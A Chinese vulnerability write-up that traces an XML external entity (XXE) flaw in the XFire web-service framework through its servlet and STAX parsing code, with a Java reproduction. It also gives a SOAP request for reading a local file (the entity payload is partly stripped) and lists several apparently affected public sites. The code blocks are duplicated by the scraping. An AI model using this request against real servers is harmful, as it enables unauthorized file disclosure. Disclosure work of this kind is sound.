xfire是流行的webservice开发组件,其在invoke时使用了STAX解析XML导致XML实体注入发生(其实标题应该是XXE的,不过那样太明显了^_^)。org\codehaus\xfire\transport\http\XFireServlet.java中:
public void init()
throws ServletException
{
try
{
super.init();
xfire = createXFire();
controller = createController();
}
catch (Throwable tx)
{
// log.er
logger.error(“Error initializing XFireServlet.”, tx);
throw new ServletException(“Error initializing XFireServlet.”, tx);
}
}public XFireServletController createController()
throws ServletException
{
return new XFireServletController(xfire, getServletContext());
}protected void doGet(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException
{
controller.doService(request, response);
}/**
* Delegates to [email protected] XFireServletController#doService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)}.
*/
protected void doPost(HttpServletRequest req, HttpServletResponse res)
throws ServletException, IOException
{
controller.doService(req, res);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
publicvoidinit()
throwsServletException
{
try
{
super.init();
xfire=createXFire();
controller=createController();
}
catch(Throwabletx)
{
// log.er
logger.error(“Error initializing XFireServlet.”,tx);
thrownewServletException(“Error initializing XFireServlet.”,tx);
}
}publicXFireServletControllercreateController()
throwsServletException
{
returnnewXFireServletController(xfire,getServletContext());
}protectedvoiddoGet(HttpServletRequestrequest,
HttpServletResponseresponse)
throwsServletException,IOException
{
controller.doService(request,response);
}/**
* Delegates to [email protected] XFireServletController#doService(javax.servlet.http.HttpServletRequest, javax.servlet.http.HttpServletResponse)}.
*/
protectedvoiddoPost(HttpServletRequestreq,HttpServletResponseres)
throwsServletException,IOException
{
controller.doService(req,res);
}
在doGet与doPost方法中调用了 controller.doService(req, res),定义如下(org\codehaus\xfire\transport\httpXFireServletController.java):
public void doService(HttpServletRequest request,
HttpServletResponse response)
throws ServletException, IOException
{
String serviceName = getService(request);
if (serviceName == null) serviceName = “”;ServiceRegistry reg = getServiceRegistry();response.setHeader(“Content-Type”, “UTF-8”);try
{
requests.set(request);
responses.set(response);boolean hasService = reg.hasService(serviceName);
if (serviceName.length() == 0 || !hasService)
{
if (!hasService)
{
response.setStatus(404);
}generateServices(request,response);
return;
}if (isWSDLRequest(request))
{
generateWSDL(response, serviceName);
}
else
{
invoke(request, response, serviceName);
}
}
catch (Exception e)
{
logger.error(“Couldn’t invoke servlet request.”, e);if (e instanceof ServletException)
{
throw (ServletException) e;
}
else
{
throw new ServletException(e);
}
}
finally
{
requests.set(null);
responses.set(null);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
publicvoiddoService(HttpServletRequestrequest,
HttpServletResponseresponse)
throwsServletException,IOException
{
StringserviceName=getService(request);
if(serviceName==null)serviceName=””;ServiceRegistryreg=getServiceRegistry();response.setHeader(“Content-Type”,”UTF-8″);try
{
requests.set(request);
responses.set(response);booleanhasService=reg.hasService(serviceName);
if(serviceName.length()==0||!hasService)
{
if(!hasService)
{
response.setStatus(404);
}generateServices(request,response);
return;
}if(isWSDLRequest(request))
{
generateWSDL(response,serviceName);
}
else
{
invoke(request,response,serviceName);
}
}
catch(Exceptione)
{
logger.error(“Couldn’t invoke servlet request.”,e);if(einstanceofServletException)
{
throw(ServletException)e;
}
else
{
thrownewServletException(e);
}
}
finally
{
requests.set(null);
responses.set(null);
}
}
其中的invoke(request, response, serviceName)根据URI中获取到的serviceName来调用services.xml中定义的class:
protected void invoke(HttpServletRequest request,
HttpServletResponse response,
String service)
throws ServletException, IOException, UnsupportedEncodingException
{
response.setStatus(200);
response.setBufferSize(1024 * 8);MessageContext context = createMessageContext(request, response, service);
Channel channel = createChannel(context);String soapAction = getSoapAction(request);
String contentType = request.getContentType();
if (null == contentType)
{
response.setContentType(“text/html; charset=UTF-8”);
// TODO: generate service description hereresponse.getWriter().write(”
Invalid SOAP request.”);
response.getWriter().close();
}
……
else
{
// Remove ” and ‘ char
String charEncoding = request.getCharacterEncoding();
charEncoding = dequote(charEncoding);
XMLStreamReader reader =
STAXUtils.createXMLStreamReader(request.getInputStream(),
charEncoding,
context);InMessage message = new InMessage(reader, request.getRequestURI());
message.setProperty(SoapConstants.SOAP_ACTION, soapAction);
channel.receive(context, message);try
{
reader.close();
}
catch (XMLStreamException e)
{
throw new XFireRuntimeException(“Could not close XMLStreamReader.”);
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protectedvoidinvoke(HttpServletRequestrequest,
HttpServletResponseresponse,
Stringservice)
throwsServletException,IOException,UnsupportedEncodingException
{
response.setStatus(200);
response.setBufferSize(1024*8);MessageContextcontext=createMessageContext(request,response,service);
Channelchannel=createChannel(context);StringsoapAction=getSoapAction(request);
StringcontentType=request.getContentType();
if(null==contentType)
{
response.setContentType(“text/html; charset=UTF-8”);
// TODO: generate service description hereresponse.getWriter().write(”
Invalid SOAP request.”);
response.getWriter().close();
}
……
else
{
// Remove ” and ‘ char
StringcharEncoding=request.getCharacterEncoding();
charEncoding=dequote(charEncoding);
XMLStreamReaderreader=
STAXUtils.createXMLStreamReader(request.getInputStream(),
charEncoding,
context);InMessagemessage=newInMessage(reader,request.getRequestURI());
message.setProperty(SoapConstants.SOAP_ACTION,soapAction);
channel.receive(context,message);try
{
reader.close();
}
catch(XMLStreamExceptione)
{
thrownewXFireRuntimeException(“Could not close XMLStreamReader.”);
}
}
}
在这里程序从数据流request.getInputStream()中读取内容,赋值给XMLStreamReader对象reader:
public static XMLStreamReader createXMLStreamReader(InputStream in, String encoding, MessageContext ctx)
{
XMLInputFactory factory = getXMLInputFactory(ctx);if (encoding == null) encoding = “UTF-8”;try
{
return factory.createXMLStreamReader(in, encoding);
}
catch (XMLStreamException e)
{
throw new XFireRuntimeException(“Couldn’t parse stream.”, e);
}
}XMLStreamReader reader =
STAXUtils.createXMLStreamReader(request.getInputStream(),
charEncoding,
context);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
publicstaticXMLStreamReadercreateXMLStreamReader(InputStreamin,Stringencoding,MessageContextctx)
{
XMLInputFactoryfactory=getXMLInputFactory(ctx);if(encoding==null)encoding=”UTF-8″;try
{
returnfactory.createXMLStreamReader(in,encoding);
}
catch(XMLStreamExceptione)
{
thrownewXFireRuntimeException(“Couldn’t parse stream.”,e);
}
}XMLStreamReaderreader=
STAXUtils.createXMLStreamReader(request.getInputStream(),
charEncoding,
context);
这里已经有了XMLStreamReader,但是程序还没有解析XML,继续跟入,将reader写入message:
public InMessage(XMLStreamReader xmlStreamReader, String uri)
{
this.xmlStreamReader = xmlStreamReader;
setUri(uri);
setEncoding(xmlStreamReader.getCharacterEncodingScheme());
}InMessage message = new InMessage(reader, request.getRequestURI());
message.setProperty(SoapConstants.SOAP_ACTION, soapAction);
channel.receive(context, message);
1
2
3
4
5
6
7
8
publicInMessage(XMLStreamReaderxmlStreamReader,Stringuri)
{
this.xmlStreamReader=xmlStreamReader;
setUri(uri);
setEncoding(xmlStreamReader.getCharacterEncodingScheme());
}InMessagemessage=newInMessage(reader,request.getRequestURI());
message.setProperty(SoapConstants.SOAP_ACTION,soapAction);
channel.receive(context,message);
调用channel.receive(context, message),receive()实现方法在org\codehaus\xfire\transport\AbstractChannel.java中:
public void receive(MessageContext context, InMessage message)
{
if (message.getChannel() == null)
message.setChannel(this);getEndpoint().onReceive(context, message);
}
1
2
3
4
5
publicvoidreceive(MessageContextcontext,InMessagemessage)
{
if(message.getChannel()==null)
message.setChannel(this);getEndpoint().onReceive(context,message);
}
调用了getEndpoint().onReceive(context, message)在org\codehaus\xfire\util\jdom\JDOMEndpoint.java实现:
public class JDOMEndpoint
implements ChannelEndpoint
{
private int count = 0;
private Document message;public void onReceive(MessageContext context, InMessage msg)
{
StaxBuilder builder = new StaxBuilder();
try
{
message = builder.build(new FragmentStreamReader(msg.getXMLStreamReader()));
}
catch (XMLStreamException e)
{
e.printStackTrace();
}
count++;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
publicclassJDOMEndpoint
implementsChannelEndpoint
{
privateintcount=0;
privateDocumentmessage;publicvoidonReceive(MessageContextcontext,InMessagemsg)
{
StaxBuilderbuilder=newStaxBuilder();
try
{
message=builder.build(newFragmentStreamReader(msg.getXMLStreamReader()));
}
catch(XMLStreamExceptione)
{
e.printStackTrace();
}
count++;
}
最终程序又从msg中读出了reader,使用STAX解析了XML:
message = builder.build(new FragmentStreamReader(msg.getXMLStreamReader()));
1
message=builder.build(newFragmentStreamReader(msg.getXMLStreamReader()));
org\codehaus\xfire\util\jdom\StaxBuilder.java
public Document build(XMLStreamReader r)
throws XMLStreamException
{
/*
* Should we do sanity checking to see that r is positioned at
* beginning? Not doing so will allow creating documents from sub-trees,
* though?
*/
JDOMFactory f = factory;
if (f == null)
{
f = new UncheckedJDOMFactory();
}
Document doc = f.document(null);
buildTree(f, r, doc);
return doc;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
publicDocumentbuild(XMLStreamReaderr)
throwsXMLStreamException
{
/*
* Should we do sanity checking to see that r is positioned at
* beginning? Not doing so will allow creating documents from sub-trees,
* though?
*/
JDOMFactoryf=factory;
if(f==null)
{
f=newUncheckedJDOMFactory();
}
Documentdoc=f.document(null);
buildTree(f,r,doc);
returndoc;
}
以上的流程简单化可以用以下代码取代:
import **.**.**.**.IOException;
import **.**.**.**.InputStream;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamReader;
import javax.xml.stream.XMLStreamException;
import org.codehaus.xfire.util.jdom.StaxBuilder;public class DoXML {
private static String url=”build.xml”;
public static void testXMLStreamReader() throws IOException {
try {
XMLInputFactory factory = XMLInputFactory.newInstance();
InputStream in = DoXML.class.getClassLoader().getResourceAsStream(url);
XMLStreamReader reader = factory.createXMLStreamReader(in);
StaxBuilder builder = new StaxBuilder();
builder.build(reader);
}
catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv)throws IOException{
testXMLStreamReader();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import **.**.**.**.IOException;
import **.**.**.**.InputStream;
importjavax.xml.stream.XMLInputFactory;
importjavax.xml.stream.XMLStreamReader;
importjavax.xml.stream.XMLStreamException;
importorg.codehaus.xfire.util.jdom.StaxBuilder;publicclassDoXML{
privatestaticStringurl=”build.xml”;
publicstaticvoidtestXMLStreamReader()throwsIOException{
try{
XMLInputFactoryfactory=XMLInputFactory.newInstance();
InputStreamin=DoXML.class.getClassLoader().getResourceAsStream(url);
XMLStreamReaderreader=factory.createXMLStreamReader(in);
StaxBuilderbuilder=newStaxBuilder();
builder.build(reader);
}
catch(Exceptione){
e.printStackTrace();
}
}
publicstaticvoidmain(String[]argv)throwsIOException{
testXMLStreamReader();
}
}
控制build.xml即可进行XXE:
下面使用xfire实例进行测试,本地搭建了一个基于xfire的webservice实现了一个hello方法:
直接发送以下数据包即可读取d:/xxetest.txt内容:
POST **.**.**.**:800/services/xfire_xxe_test HTTP/1.0
SOAPAction: “”
Content-Type: text/xml<?xml version=”1.0″ encoding=”UTF-8″?>]>
0 &a;
1
2
3
4
5
6
7
8
9
10
11
POST **.**.**.**:800/services/xfire_xxe_testHTTP/1.0
SOAPAction:””
Content-Type:text/xml<?xmlversion =”1.0″encoding=”UTF-8″?>]>
0&a;
Xfire使用得很广泛,特别是在一些通用程序中,简单列几个受影响的站点:
http://**.**.**.**/live800/services/IVerification?wsdl
http://**.**.**.**/juas/services/batchSSOUserService?wsdl
http://**.**.**.**:9080/mds/services/DataService?wsdl
http://**.**.**.**/was/services/LianDongService?wsdl
http://**.**.**.**/swwas/services/LianDongService?wsdl
1
2
3
4
5
http://**.**.**.**/live800/services/IVerification?wsdl
http://**.**.**.**/juas/services/batchSSOUserService?wsdl
http://**.**.**.**:9080/mds/services/DataService?wsdl
http://**.**.**.**/was/services/LianDongService?wsdl
http://**.**.**.**/swwas/services/LianDongService?wsdl